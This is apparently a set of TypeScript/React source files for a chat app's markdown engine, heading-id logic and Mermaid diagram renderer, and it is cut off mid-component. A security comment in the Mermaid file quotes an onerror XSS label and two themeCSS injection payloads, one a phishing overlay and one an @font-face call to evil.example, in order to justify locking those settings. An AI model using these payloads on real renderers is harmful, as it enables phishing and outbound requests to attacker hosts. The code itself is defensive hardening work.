* text pre-pass allowlist AND the sanitize schema together (the\n   * coupled-allowlist invariant — see ./sanitize.ts).\n   */\n  extraAllowedHtmlTags?: string[];\n  /**\n   * Set true for the actively streaming message ONLY. Enables atomic-block\n   * memoization + fence tail-completion + an aria-live wrapper. The caller\n   * MUST flip back to false on completion — that final render is one\n   * authoritative whole-document parse (block cache discarded), so\n   * streaming can never permanently diverge from the settled output.\n   */\n  streaming?: boolean;\n}\n\n/**\n * One memoized completed block of a streaming message. Parent-level memos\n * keep every prop except `text` referentially stable, so a completed block\n * re-renders only if its own text changes (i.e. the splitter re-cut).\n * React key = position index — identical blocks at different positions\n * never alias (see ./streaming.ts).\n */\nconst StreamingBlockRenderer = memo(function StreamingBlockRendererImpl({\n  text,\n  remarkPlugins,\n  rehypePlugins,\n  components,\n}: {\n  text: string;\n  remarkPlugins: PluggableList;\n  rehypePlugins: PluggableList;\n  components: Components;\n}) {\n  return (\n    <ReactMarkdown\n      remarkPlugins={remarkPlugins}\n      rehypePlugins={rehypePlugins}\n      urlTransform={cardAwareUrlTransform}\n      components={components}\n    >\n      {text}\n    </ReactMarkdown>\n  );\n});\n\nconst MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({\n  content,\n  className = '',\n  sectionIds,\n  demoteMarkdownH1ToH2 = false,\n  brokenLinks = NO_BROKEN_LINKS,\n  onInternalLinkClick,\n  currentPath,\n  onResolveLink,\n  preprocessContent,\n  componentOverrides,\n  additionalRemarkPlugins,\n  textSize,\n  extraAllowedHtmlTags,\n  streaming = false,\n}) => {\n  const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);\n\n  // Stable identity key for the caller's tag array — a fresh array with the\n  // same contents must not bust these memos.\n  const extraTagsKey = extraAllowedHtmlTags?.join('|') ?? '';\n\n  // Effective tag allowlist — shared source for pre-pass AND schema.\n  // Both memos consume ONLY `extraTagsKey`, so the dep list is honest and\n  // needs no eslint suppression.\n  const effectiveTags = useMemo(\n    () => buildEffectiveTagSet(extraTagsKey ? extraTagsKey.split('|') : undefined),\n    [extraTagsKey],\n  );\n\n  const processedContent = useMemo(() => {\n    const preprocessed = preprocessContent ? preprocessContent(content) : content;\n    // ORDER IS LOAD-BEARING: complete the streaming tail FIRST, then escape.\n    //\n    // Escaping first failed OPEN on the most common streaming shape. During a\n    // stream every partially-emitted fence is unclosed, and both of the\n    // pre-pass's fence notions (`PROTECTED_SPAN_RE` for the carve AND the\n    // mask) only recognize CLOSED fences — so a `</textarea>` inside the\n    // still-open fence satisfied \"is closed later\", the prose opener above it\n    // stayed live, and parse5 swallowed the rest of the message until the\n    // fence closed (an LLM explaining `<textarea>` then streaming a fenced\n    // HTML sample hits this exactly). The same ordering also fired the carve's\n    // documented \"unclosed fence body is escaped\" tradeoff on EVERY streaming\n    // frame, so a `<their>` mid-fence rendered as `&lt;their&gt;` until the\n    // closer arrived.\n    //\n    // `completeStreamingTail` only APPENDS a fence delimiter run, so escaping\n    // afterwards is safe (nothing it adds is escapable).\n    const completed = streaming ? completeStreamingTail(preprocessed) : preprocessed;\n    return escapeUnknownHtmlTags(completed, effectiveTags);\n  }, [preprocessContent, content, effectiveTags, streaming]);\n\n  // Heading ids: derived ONCE from the processed source, never from render\n  // order. See ./heading-ids.ts for why the old stateful generator was\n  // unsound under block memoization AND StrictMode.\n  const headingIds = useHeadingIdMap(processedContent, sectionIds);\n\n  const remarkPlugins = useMemo<PluggableList>(\n    () => [remarkGfm, remarkBreaks, ...(additionalRemarkPlugins ?? [])],\n    [additionalRemarkPlugins],\n  );\n\n  const rehypePlugins = useMemo<PluggableList>(() => {\n    const schema = buildSanitizeSchema({\n      extraAllowedHtmlTags: extraTagsKey ? extraTagsKey.split('|') : undefined,\n    });\n    return [\n      // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;\n      // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is\n      // defense-in-depth (srcset scanning, iframe[srcdoc]); highlight last.\n      rehypeRaw,\n      [rehypeSanitize, schema],\n      rehypeStripUnsafe,\n      [rehypeHighlight, { detect: true, ignoreMissing: true }],\n    ];\n  }, [extraTagsKey]);\n\n  const components: Components = useMemo(\n    () => ({\n      ...buildBaseComponents({\n        textSizes,\n        demoteMarkdownH1ToH2,\n        brokenLinks,\n        currentPath,\n        onInternalLinkClick,\n        onResolveLink,\n      }),\n      // Caller overrides spread LAST — chat's card/mention <a> override,\n      // rich's embed overrides, etc. always win over the base map.\n      ...componentOverrides,\n    }),\n    [textSizes, demoteMarkdownH1ToH2, brokenLinks, currentPath, onInternalLinkClick, onResolveLink, componentOverrides],\n  );\n\n  // Streaming block plan (only computed on the streaming path).\n  const streamingBlocks = useMemo(\n    () => (streaming ? splitStreamingBlocks(processedContent) : null),\n    [streaming, processedContent],\n  );\n\n  const body = streamingBlocks ? (\n    // aria-live: readers announce coherent appended chunks, not per-token\n    // spam (polite + additions). Streaming caret/pulse affordances live in\n    // chat components and honor prefers-reduced-motion there.\n    <div aria-live=\"polite\" aria-relevant=\"additions text\">\n      {streamingBlocks.map(block => (\n        // Each unit is parsed on its own, so hast positions restart at 1;\n        // the offset maps them back onto the document-wide heading-id map.\n        <HeadingLineOffsetContext.Provider key={block.index} value={block.startLine - 1}>\n          {block.memoizable ? (\n            <StreamingBlockRenderer\n              text={block.text}\n              remarkPlugins={remarkPlugins}\n              rehypePlugins={rehypePlugins}\n              components={components}\n            />\n          ) : (\n            <ReactMarkdown\n              remarkPlugins={remarkPlugins}\n              rehypePlugins={rehypePlugins}\n              urlTransform={cardAwareUrlTransform}\n              components={components}\n            >\n              {block.text}\n            </ReactMarkdown>\n          )}\n        </HeadingLineOffsetContext.Provider>\n      ))}\n    </div>\n  ) : (\n    <ReactMarkdown\n      remarkPlugins={remarkPlugins}\n      rehypePlugins={rehypePlugins}\n      urlTransform={cardAwareUrlTransform}\n      components={components}\n    >\n      {processedContent}\n    </ReactMarkdown>\n  );\n\n  return (\n    <div className={`simple-markdown-renderer ${className}`}>\n      {/* Mermaid's <style> is rendered by MermaidDiagram itself — one tag\n          per mounted diagram instead of one per engine instance (i.e. per\n          chat segment), where the overwhelming majority render no diagram. */}\n      {/* `overflow-wrap: anywhere` is inherited from `.simple-markdown-renderer`\n          in app-globals.css — do NOT re-add `break-words` here, it would\n          override the cascade with the weaker `break-word` for this subtree. */}\n      <div className=\"content-wrapper max-w-none\">\n        <article className=\"prose prose-lg max-w-none\">\n          <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>\n        </article>\n      </div>\n    </div>\n  );\n};\n\n/**\n * Memoized so a parent re-render with UNCHANGED props (same `content`\n * string, same memoized `componentOverrides`/plugins) does NOT re-parse the\n * markdown. Re-parsing rebuilds the entire react-markdown subtree, which\n * RE-MOUNTS any embedded inline entity cards — closing their open menus and\n * re-triggering their fetch on every chat re-render (streaming chunk AND\n * scroll). With stable props the renderer bails, so completed messages'\n * cards stay mounted. The streaming path additionally memoizes completed\n * atomic blocks so the in-flight message re-parses only its live tail.\n */\nexport const MarkdownEngine = memo(MarkdownEngineImpl);\n","/**\n * Heading-id derivation for the unified markdown engine.\n *\n * PURE BY CONSTRUCTION. The previous design was a stateful generator whose\n * per-pass counters were reset in the engine's render body, and it was\n * unsound in two independent ways:\n *   - memoized streaming blocks do NOT re-render on the pass that resets the\n *     counter, so mid-stream a document with two `## Setup` headings emitted\n *     `id=\"setup\"` TWICE (block 0 kept its id; the re-rendered tail\n *     re-derived from an empty counter) — invalid HTML, and `#setup`\n *     resolved to the wrong node for the rest of the stream;\n *   - React StrictMode double-invokes render, and heading renderers are\n *     element types re-rendered independently of the parent that did the\n *     reset, so every id gained a `-2` suffix in dev and extractor↔renderer\n *     parity broke.\n *\n * Instead the ids are computed ONCE from the processed markdown source, in a\n * `useMemo`, into a `line → id` map. The heading renderer is a pure lookup\n * by `node.position.start.line`; nothing is derived from render order, so\n * memo bails and StrictMode double-invocation are both no-ops.\n *\n * The slug algorithm itself lives in the server-safe SSOT\n * `utils/markdown-heading-id` (shared with `utils/markdown-section-extractor`,\n * the producer of `sectionIds`); the title normalization mirrors the\n * extractor's `stripInlineMarkdown` so `## **Setup**` slugs identically on\n * both sides.\n */\nimport type { Element } from 'hast';\nimport { createContext, isValidElement, useContext, useMemo, useState, type ReactNode } from 'react';\nimport {\n  createHeadingIdDeduper,\n  scanHeadings,\n  stripHeadingEmojis,\n  slugifyHeadingText,\n} from '../../../utils/markdown-heading-id';\nimport { stripInlineMarkdown } from '../../../utils/markdown-to-plain';\n\nexport interface HeadingSection {\n  id: string;\n  title: string;\n  level: number;\n}\n\n/** `line (1-based, document-wide) → heading id`. */\nexport type HeadingIdMap = ReadonlyMap<number, string>;\n\n/**\n * Heading levels the section extractor sees (`extractSections`'s default\n * `maxLevel`). The `section-N` fallback ordinal counts only these, so\n * renderer and extractor agree on the fallback slug for symbol-only\n * headings (see the fallback comment below).\n */\nconst EXTRACTOR_MAX_LEVEL = 2;\n\n/**\n * Line offset added to unit-relative hast positions. Non-zero only on the\n * streaming path, where each atomic unit is parsed by its own\n * `ReactMarkdown` (see `StreamingBlock.startLine`).\n */\nexport const HeadingLineOffsetContext = createContext(0);\n\nconst EMPTY_HEADING_IDS: HeadingIdMap = new Map();\n\n/**\n * The document's heading-id map, delivered by CONTEXT rather than baked into\n * the react-markdown `components` map on purpose: the map is rebuilt on every\n * streamed token (its input is the growing `processedContent`), so listing it\n * as a `components` memo dep would change that map's identity each token and\n * make every completed streaming block's `memo` bail — the exact regression\n * `NO_BROKEN_LINKS` was introduced to fix. Through context only the heading\n * renderers re-render.\n */\nexport const HeadingIdMapContext = createContext<HeadingIdMap>(EMPTY_HEADING_IDS);\n\n/** Look up the pre-computed id for a heading hast node. Pure. */\nexport function useHeadingId(node: Element | undefined): string | undefined {\n  const map = useContext(HeadingIdMapContext);\n  const offset = useContext(HeadingLineOffsetContext);\n  const line = node?.position?.start.line;\n  return typeof line === 'number' ? map.get(line + offset) : undefined;\n}\n\n/**\n * Build the document's `line → id` map. Pure: same content + same\n * `sectionIds` always yields the same map.\n */\nexport function buildHeadingIdMap(content: string, sectionIds?: HeadingSection[]): HeadingIdMap {\n  const sectionIdMap = new Map<string, string>();\n  if (sectionIds) {\n    for (const section of sectionIds) {\n      sectionIdMap.set(section.title, section.id);\n      sectionIdMap.set(section.title.toLowerCase(), section.id);\n      sectionIdMap.set(stripHeadingEmojis(section.title).toLowerCase(), section.id);\n    }\n  }\n\n  // Deduper AND scanner are the shared SSOT primitives the extractor also\n  // instantiates — see utils/markdown-heading-id.ts.\n  const dedupe = createHeadingIdDeduper();\n\n  const map = new Map<number, string>();\n  let sectionOrdinal = 0;\n  let headingOrdinal = 0;\n\n  for (const { line, level, text: rawText } of scanHeadings(content)) {\n    // Match what `extractText(children)` yields from the RENDERED inline\n    // nodes: emphasis/code/link syntax is markup, not text. (The extractor\n    // applies the identical strip via `stripFormattingMarkers`.)\n    const text = stripInlineMarkdown(rawText).trim();\n    headingOrdinal++;\n    if (level <= EXTRACTOR_MAX_LEVEL) sectionOrdinal++;\n\n    // Backend-provided ids win for H1/H2 (deep-link anchors). They go\n    // through the SAME dedup rather than trusting the backend to own\n    // uniqueness: `sectionIdMap` is keyed by heading TITLE, so two identical\n    // `## Setup` headings look up the same entry and would emit duplicate\n    // DOM ids. The dedup makes the second one `setup-2`, exactly matching\n    // what `extractSections` produces for the same document.\n    let assigned: string | undefined;\n    if (sectionIds && level <= EXTRACTOR_MAX_LEVEL) {\n      for (const variation of [\n        text,\n        text.toLowerCase(),\n        stripHeadingEmojis(text),\n        stripHeadingEmojis(text).toLowerCase(),\n      ]) {\n        const id = sectionIdMap.get(variation);\n        if (id) {\n          assigned = dedupe(id);\n          break;\n        }\n      }\n    }\n\n    if (assigned === undefined) {\n      const baseId = slugifyHeadingText(text);\n      // Symbol-only heading (slug collapses to ''). `extractSections` falls\n      // back to `section-${sections.length + 1}` — its ordinal among the\n      // headings it SEES, i.e. levels ≤ maxLevel. Mirror that exactly for\n      // H1/H2 so extractor↔renderer slugs stay in total agreement; deeper\n      // headings, which the extractor never emits, get their own\n      // `heading-N` namespace so they can never collide with a `section-N`.\n      assigned = dedupe(\n        baseId || (level <= EXTRACTOR_MAX_LEVEL ? `section-${sectionOrdinal}` : `heading-${headingOrdinal}`),\n      );\n    }\n\n    map.set(line, assigned);\n  }\n\n  return map;\n}\n\n/** True when two id maps have identical entries (order-insensitive). */\nfunction sameHeadingIdMap(a: HeadingIdMap, b: HeadingIdMap): boolean {\n  if (a === b) return true;\n  if (a.size !== b.size) return false;\n  for (const [line, id] of a) {\n    if (b.get(line) !== id) return false;\n  }\n  return true;\n}\n\n/**\n * Memoized `buildHeadingIdMap` for the engine, with the map's IDENTITY held\n * stable across content changes that don't touch any heading.\n *\n * `content` changes on every streamed token, so the `useMemo` alone rebuilt\n * a fresh `Map` per token; that map is the context value, so EVERY heading\n * consumer in every already-completed block re-rendered on every token —\n * the same identity-churn class `NO_BROKEN_LINKS` exists to prevent, just\n * one layer down. Rebuilding is cheap; re-rendering the consumers is not, so\n * the newly built map is compared to the previous one and the previous\n * object is returned when the entries match.\n */\nexport function useHeadingIdMap(content: string, sectionIds?: HeadingSection[]): HeadingIdMap {\n  const next = useMemo(() => buildHeadingIdMap(content, sectionIds), [content, sectionIds]);\n  // The carried-forward map is STATE, adjusted while rendering, not a ref\n  // written during render. React is free to discard a render attempt, and the\n  // published identity has to be one a commit actually handed to the context —\n  // a map from an abandoned attempt would be compared against forever after,\n  // pinning consumers to headings that were never rendered. The extra render\n  // pass only happens when the headings genuinely changed, which is the case\n  // where every consumer re-renders anyway.\n  const [carried, setCarried] = useState(next);\n  const stable = sameHeadingIdMap(carried, next) ? carried : next;\n  if (stable !== carried) setCarried(next);\n  return stable;\n}\n\n/**\n * Fallback id for a heading the source scan could NOT see — in practice only\n * a heading synthesized by a caller remark/rehype plugin, which carries no\n * source position. (Setext, blockquote/list-nested ATX and multiple raw\n * `<hN>`s on one line are all scanned now, so they no longer land here.)\n *\n * Routed through the SAME dedupe shape as the map so a fallback id can never\n * collide with an assigned one. It stays PURE — `taken` is derived from the\n * map, not from render order — which is why two position-less headings with\n * IDENTICAL text still collide with each other: disambiguating those would\n * require the shared mutable counter this module deleted.\n */\nexport function resolveFallbackHeadingId(base: string, taken: ReadonlySet<string>): string {\n  if (!base || !taken.has(base)) return base;\n  for (let n = 2; ; n++) {\n    const candidate = `${base}-${n}`;\n    if (!taken.has(candidate)) return candidate;\n  }\n}\n\n/** Cached `Set` of a map's assigned ids (one per map identity). */\nconst TAKEN_IDS_CACHE = new WeakMap<object, ReadonlySet<string>>();\n\n/**\n * The ids already assigned by the document's heading-id map. Cached per map\n * IDENTITY, which `useHeadingIdMap` now keeps stable across heading-free\n * token growth — so this is O(headings) once, not per heading per token.\n */\nexport function useAssignedHeadingIds(): ReadonlySet<string> {\n  const map = useContext(HeadingIdMapContext);\n  const cached = TAKEN_IDS_CACHE.get(map);\n  if (cached) return cached;\n  const set = new Set(map.values());\n  TAKEN_IDS_CACHE.set(map, set);\n  return set;\n}\n\n/** Extract plain text from React children (headings receive mixed nodes). */\nexport function extractText(node: ReactNode): string {\n  if (typeof node === 'string') return node;\n  if (Array.isArray(node)) return node.map(extractText).join('');\n  if (isValidElement<{ children?: ReactNode }>(node) && node.props.children) {\n    return extractText(node.props.children);\n  }\n  return '';\n}\n","/**\n * Convert markdown source to plain text. Used by both the SEO server component\n * (article-body echo in JSON-LD) and chat entity-card preview (clamped previews\n * inside chat cards).\n *\n * The two consumers differ only in pre/post processing — `mode: 'article'`\n * strips code blocks + images + headings + list bullets and preserves paragraph\n * breaks; `mode: 'preview'` collapses everything to a single line. Both share\n * the same inline-marker strip (link / bold / italic / inline-code).\n *\n * All regex patterns are linear (negated character classes, non-greedy with\n * bounded targets) — no nested quantifiers, no catastrophic backtracking on\n * pathological input.\n */\n\nexport interface MarkdownToPlainOptions {\n  /**\n   * - `'article'` (default): preserve paragraph structure (`\\n\\n` as separator),\n   *   strip code blocks + images + headings + list bullets. Used for the\n   *   article-body echo on SEO surfaces.\n   * - `'preview'`: collapse all whitespace to single spaces; result is a single\n   *   line. Used for chat-card previews / OG-card snippets where line breaks\n   *   would wrap awkwardly.\n   */\n  mode?: 'article' | 'preview';\n  /** Optional max-character cap. Truncates with no ellipsis (caller-decided). */\n  maxChars?: number;\n}\n\n/** Strip inline markdown markers (bold, italic, inline-code, links). Shared\n *  by `extractSections`'s `stripFormattingMarkers` and `markdownToPlainText`. */\nexport function stripInlineMarkdown(s: string): string {\n  return s\n    .replace(/\\[([^\\]]+)\\]\\([^)]+\\)/g, '$1') // [text](url) → text\n    .replace(/\\*\\*([^*]+)\\*\\*/g, '$1') // **bold** → bold\n    .replace(/\\*([^*]+)\\*/g, '$1') // *italic* → italic\n    .replace(/`([^`]+)`/g, '$1'); // `inline code` → inline code\n}\n\nexport function markdownToPlainText(markdown: string, options: MarkdownToPlainOptions = {}): string {\n  const { mode = 'article', maxChars } = options;\n\n  let out = markdown\n    // Fenced code blocks — must run BEFORE inline strippers (otherwise the\n    // backtick-grave strip below grazes them).\n    .replace(/```[\\s\\S]*?```/g, '')\n    // Images — `![alt](src)` → empty (we drop them entirely in plain text).\n    .replace(/!\\[[^\\]]*\\]\\([^)]+\\)/g, '');\n\n  out = stripInlineMarkdown(out)\n    // Heading markers (any depth).\n    .replace(/^#+\\s*/gm, '')\n    // List bullets at start-of-line.\n    .replace(/^\\s*[-*+]\\s+/gm, '');\n\n  if (mode === 'preview') {\n    out = out.replace(/\\s+/g, ' ').trim();\n  } else {\n    out = out.replace(/\\n{3,}/g, '\\n\\n').trim();\n  }\n\n  if (maxChars != null && out.length > maxChars) {\n    out = out.slice(0, maxChars);\n  }\n  return out;\n}\n","'use client';\n\nimport type { MermaidConfig } from 'mermaid';\n/**\n * Single MermaidDiagram for the unified markdown engine (dark theme only —\n * the old RichMarkdownRenderer's light-theme branch was dead code behind a\n * hardcoded `isDarkMode = true` and is deleted, not carried over).\n *\n * `mermaid` stays a dynamic import so neither chat nor content bundles pay\n * for it unless a diagram is actually rendered.\n */\nimport type React from 'react';\nimport { useEffect, useState } from 'react';\nimport { useIsHydrated } from '../../../hooks/ui/use-is-hydrated';\nimport { AlertCircleIcon } from '../../icons-v2-generated';\n\n/**\n * SECURITY SSOT for the mermaid renderer — the ONLY place these knobs are\n * written. `./__tests__/mermaid-security.test.ts` imports THIS constant and\n * spreads it into its own `mermaid.initialize`, so the fixture and the\n * component can no longer drift: flipping `securityLevel` to `'loose'` here\n * fails the suite (verified by doing exactly that).\n *\n * This renderer sits on the CHAT path, so the diagram source is MODEL output\n * — untrusted by construction — and the rendered SVG goes through\n * `dangerouslySetInnerHTML`. The pre-unification renderer used `'loose'`,\n * which permits raw HTML inside labels and enables mermaid's `click`\n * interaction directive: a node label like `A[\"<img src=x onerror=...>\"]`\n * would have produced LIVE HTML.\n *\n *  - `securityLevel: 'strict'` encodes HTML tags in text and disables click\n *    handlers.\n *  - `htmlLabels: false` renders labels as SVG `<text>` instead of a\n *    foreignObject HTML subtree, so there is no HTML surface at all. Verified:\n *    no authored diagram in this repo or in the consuming hub's markdown uses\n *    HTML labels (not even `<br/>`), so 'antiscript' (which still allows tags)\n *    is not needed. (`htmlLabels` is set at the ROOT — `flowchart.htmlLabels`\n *    is deprecated in mermaid 11 and the root value takes precedence.)\n *  - `secure` is the allowlist of config keys a `%%{init}%%` directive in the\n *    diagram SOURCE may NOT override. mermaid's default list covers\n *    `securityLevel` but NOT `htmlLabels`, so model-authored source could\n *    otherwise re-enable HTML labels while `securityLevel` stayed locked.\n *    Adding `htmlLabels` (plus `secure` itself and the resource limits) closes\n *    that hole.\n *\n * jsdom NOTE: with `htmlLabels` unlocked, a `%%{init: {\"htmlLabels\": true}}%%`\n * directive was observed to make `mermaid.render` never settle under jsdom\n * (>60s, against a passing two-render control). This was NOT reproduced in a\n * real browser and may well be an artifact of jsdom having no layout — do not\n * read it as a confirmed browser DoS. Either way the render below is wrapped\n * in a timeout so a non-settling render surfaces the error state instead of\n * sitting on \"Rendering diagram…\" forever.\n */\nexport const MERMAID_SECURITY_OPTIONS = {\n  htmlLabels: false,\n  securityLevel: 'strict',\n  secure: [\n    'securityLevel',\n    'htmlLabels',\n    'secure',\n    'startOnLoad',\n    'maxTextSize',\n    'maxEdges',\n    // `themeCSS` is RAW CSS that mermaid emits into a `<style>` inside the\n    // SVG this component injects with `dangerouslySetInnerHTML`. Locking\n    // `securityLevel`/`htmlLabels` closes the HTML surface but left CSS wide\n    // open, and mermaid's own directive sanitizer does not help: `themeCSS`\n    // is a normal config key, and `sanitizeCss` only brace-balances it.\n    // Two demonstrated payloads (verified against real mermaid 11.14.0):\n    //   - `%%{init:{\"themeCSS\":\"position:fixed;top:0;left:0;width:100vw;\n    //     height:100vh;z-index:2147483647;background:#fff\"}}%%` — bare\n    //     declarations land on the `#svgId` selector itself, so the diagram\n    //     becomes an opaque, top-most, viewport-filling overlay whose visible\n    //     text the author controls via node labels (UI redress / phishing);\n    //   - `themeCSS: \"@font-face{src:url(https://evil.example/f.woff)}\"` —\n    //     at-rules escape the `#svgId` prefix entirely and land\n    //     document-global, i.e. an unconditional outbound request to an\n    //     attacker host on every render.\n    // The diagram source on the chat path is MODEL output, so both are\n    // reachable from untrusted input. Nothing in this repo authors `themeCSS`.\n    'themeCSS',\n  ],\n} satisfies Pick<MermaidConfig, 'htmlLabels' | 'securityLevel' | 'secure'>;\n\n/** Upper bound on a single `mermaid.render`. Generous enough that no honest\n *  diagram hits it; short enough that a wedged render becomes a visible error\n *  instead of a permanent skeleton. */\nexport const MERMAID_RENDER_TIMEOUT_MS = 15_000;\n\n/** `Promise.race` with a rejecting timer, timer always cleared. Kept local —\n *  the only caller is the render below. */\nasync function withRenderTimeout<T>(promise: Promise<T>, ms: number): Promise<T> {\n  let timer: ReturnType<typeof setTimeout> | undefined;\n  try {\n    return await Promise.race([\n      promise,\n      new Promise<never>((_resolve, reject) => {\n        timer = setTimeout(() => reject(new Error(`Diagram rendering timed out after ${ms}ms`)), ms);\n      }),\n    ]);\n  } finally {\n    if (timer !== undefined) clearTimeout(timer);\n  }\n}\n\n/**\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Colors / §Typography / §General):\n * `mermaidStyles` below and the `themeVariables` / `fontFamily` / `fontSize`\n * block in `MermaidDiagram` carry RAW hex colors, a literal font-family and\n * literal px font sizes.\n *\n * Reason: mermaid's configuration is not CSS — `themeVariables` is a\n * JavaScript API whose values are baked into the generated SVG as literal\n * attribute strings, so a `var(--color-…)` reference resolves to nothing\n * there. On top of that, ODS has NO 10-step categorical color ramp, and\n * mermaid's `cScale0…cScale9` requires exactly one. The palette is carried\n * over VERBATIM from the pre-unification RichMarkdownRenderer, so this is\n * parity, not new divergence; the missing categorical-ramp tokens are\n * flagged here for addition to ODS.\n *\n * Scope: this exemption covers THIS file only, and only the mermaid config\n * surface. Do NOT copy this pattern — every other style in the markdown\n * module uses ODS semantic classes.\n */\nexport const mermaidStyles = `\n  .mermaid-svg-container svg {\n    max-width: 100% !important;\n    height: auto !important;\n    min-height: 200px;\n    font-family: 'DM Sans', sans-serif !important;\n    font-size: 14px !important;\n  }\n  @media (min-width: 1520px) {\n    .mermaid-svg-container svg {\n      max-width: 900px !important;\n      max-height: 700px !important;\n      min-height: 300px;\n      font-size: 16px !important;\n    }\n  }\n  @media (min-width: 768px) and (max-width: 1519px) {\n    .mermaid-svg-container svg {\n      max-width: 700px !important;\n      max-height: 600px !important;\n      min-height: 250px;\n      font-size: 15px !important;\n    }\n  }\n  @media (max-width: 767px) {\n    .mermaid-svg-container svg {\n      max-width: 90vw !important;\n      max-height: 400px !important;\n      min-height: 200px;\n      font-size: 13px !important;\n    }\n  }\n  .mermaid-svg-container svg[width] { width: 100% !important; }\n  .mermaid-svg-container .node rect,\n  .mermaid-svg-container .node circle,\n  .mermaid-svg-container .node ellipse,\n  .mermaid-svg-container .node polygon { stroke-width: 2px !important; }\n  .mermaid-svg-container .edgePath path { stroke-width: 2px !important; }\n  @media (min-width: 768px) {\n    .mermaid-svg-container .node text,\n    .mermaid-svg-container .edgeLabel text { font-size: 14px !important; }\n  }\n  @media (min-width: 1520px) {\n    .mermaid-svg-container .node text,\n    .mermaid-svg-container .edgeLabel text { font-size: 16px !important; }\n  }\n`;\n\n/** Monotonic render id. `Date.now()` was ambiguous: two renders started in the\n *  same millisecond (routine while a diagram streams in) share an id, and\n *  mermaid removes any pre-existing element with that id at the start of a\n *  render — so one render would delete the other's working container. */\nlet mermaidRenderSeq = 0;\n\nexport const MermaidDiagram: React.FC<{ chart: string }> = ({ chart }) => {\n  const [svg, setSvg] = useState<string>('');\n  const [error, setError] = useState<string>('');\n  const [isLoading, setIsLoading] = useState<boolean>(true);\n  // `useSyncExternalStore` hydration gate rather than the `useState(false)` +\n  // `useEffect(setMounted)` idiom — same one extra render, no setState inside\n  // an effect body.\n  const mounted = useIsHydrated();\n\n  useEffect(() => {\n    // This effect re-runs on every `chart` change, and during STREAMING the\n    // chart text grows chunk by chunk — so several `mermaid.render` calls are\n    // in flight at once. Without this flag a slower EARLIER render can resolve\n    // last and overwrite the newer output (or paint an error for a chart that\n    // is no longer displayed). The timeout above bounds that window at 15s but\n    // cannot close it: `Promise.race` rejects, it does not abort the render.\n    let cancelled = false;\n    const renderId = `mermaid-${(mermaidRenderSeq += 1)}`;\n\n    const renderMermaid = async () => {\n      try {\n        setIsLoading(true);\n        // `mermaid` is a declared `dependencies` entry and ships its own\n        // types, so this specifier resolves — the suppression that used to sit\n        // here (`@ts-ignore`, justified as \"optional runtime dependency\") was\n        // dead AND factually wrong. It is kept as a DYNAMIC import purely for\n        // bundle size: neither the chat nor the content bundle should pay for\n        // mermaid unless a diagram actually renders. Import failures surface\n        // through the surrounding try/catch as the diagram error state.\n        const { default: mermaid } = await import('mermaid');\n\n        mermaid.initialize({\n          startOnLoad: false,\n          theme: 'dark' as const,\n          themeVariables: {\n            primaryColor: '#FFC008',\n            primaryTextColor: '#FAFAFA',\n            primaryBorderColor: '#3A3A3A',\n            lineColor: '#888888',\n            secondaryColor: '#212121',\n            tertiaryColor: '#2A2A2A',\n            background: 'transparent',\n            mainBkg: 'transparent',\n            secondBkg: 'transparent',\n            tertiaryBkg: 'transparent',\n            cScale0: '#FFC008',\n            cScale1: '#4ECDC4',\n            cScale2: '#45B7D1',\n            cScale3: '#96CEB4',\n            cScale4: '#FFEAA7',\n            cScale5: '#DDA0DD',\n            cScale6: '#98D8C8',\n            cScale7: '#F7DC6F',\n            cScale8: '#BB8FCE',\n            cScale9: '#85C1E9',\n            taskTextColor: '#FAFAFA',\n            taskTextOutsideColor: '#FAFAFA',\n            activeTaskTextColor: '#1A1A1A',\n            nodeTextColor: '#FAFAFA',\n          },\n          flowchart: { useMaxWidth: true, rankSpacing: 50, nodeSpacing: 30, curve: 'basis' },\n          sequence: { useMaxWidth: true, width: 150 },\n          pie: { useMaxWidth: true, useWidth: undefined },\n          fontFamily: 'DM Sans, sans-serif',\n          fontSize: 14,\n          // SECURITY: single source of truth, shared with the fixture.\n          // See MERMAID_SECURITY_OPTIONS above and\n          // ./__tests__/mermaid-security.test.ts.\n          ...MERMAID_SECURITY_OPTIONS,\n        });\n\n        const { svg: renderedSvg } = await withRenderTimeout(\n          mermaid.render(renderId, chart),\n          MERMAID_RENDER_TIMEOUT_MS,\n        );\n        if (cancelled) return;\n        setSvg(renderedSvg);\n        // CLEAR the previous failure. The render body checks `error` BEFORE\n        // `svg`, so a stale message pins the \"Diagram Error\" card forever and\n        // the diagram that just rendered successfully never appears. Transient\n        // failures are ROUTINE on this component's own hot path: every\n        // streaming frame re-renders a partial chart, and a partial chart is a\n        // mermaid parse error until the closing tokens arrive.\n        setError('');\n        setIsLoading(false);\n      } catch (err) {\n        if (cancelled) return;\n        console.error('Mermaid rendering error:', err);\n        setError(`Failed to render diagram: ${err instanceof Error ? err.message : 'Unknown error'}`);\n        setIsLoading(false);\n      }\n    };\n\n    if (mounted) {\n      // Never rejects — try/catch, every write gated on `cancelled`.\n      void renderMermaid();\n    }\n    return () => {\n      cancelled = true;\n      // An abandoned render (superseded chart, or one wedged past the timeout)\n      // keeps mermaid's temporary `#d<id>` working container attached to\n      // <body> forever, since mermaid only removes it on a successful finish.\n      // Cheap to reap here because the id is ours. If the render is still live\n      // it will fail on the missing node — caught, and discarded by `cancelled`.\n      document.getElementById(`d${renderId}`)?.remove();\n      document.getElementById(renderId)?.remove();\n    };\n  }, [chart, mounted]);\n\n  if (error) {\n    return (\n      <div className=\"error-state my-6 rounded-lg border border-ods-border bg-ods-card p-6\">\n        <div className=\"error-icon mb-4 flex justify-center\">\n          <AlertCircleIcon className=\"h-12 w-12 text-ods-error\" />\n        </div>\n        <div className=\"error-title mb-2 text-center font-sans text-lg font-semibold text-ods-error\">Diagram Error</div>\n        <div className=\"error-description mb-4 max-w-full overflow-hidden break-words text-center font-sans text-sm text-ods-text-secondary\">\n          <div className=\"overflow-x-auto\">\n            <pre className=\"whitespace-pre-wrap break-words text-xs\">{error}</pre>\n          </div>\n        </div>\n      </div>\n    );\n  }\n\n  if (isLoading || !svg) {\n    return (\n      <div className=\"skeleton-code flex min-h-[120px] items-center justify-center rounded-lg border border-ods-border bg-ods-card p-6\">\n        <div className=\"animate-pulse font-sans text-ods-text-tertiary\">\n          {isLoading ? 'Loading diagram renderer...' : 'Rendering diagram...'}\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"mermaid-container my-6 overflow-x-auto rounded-lg border border-ods-border 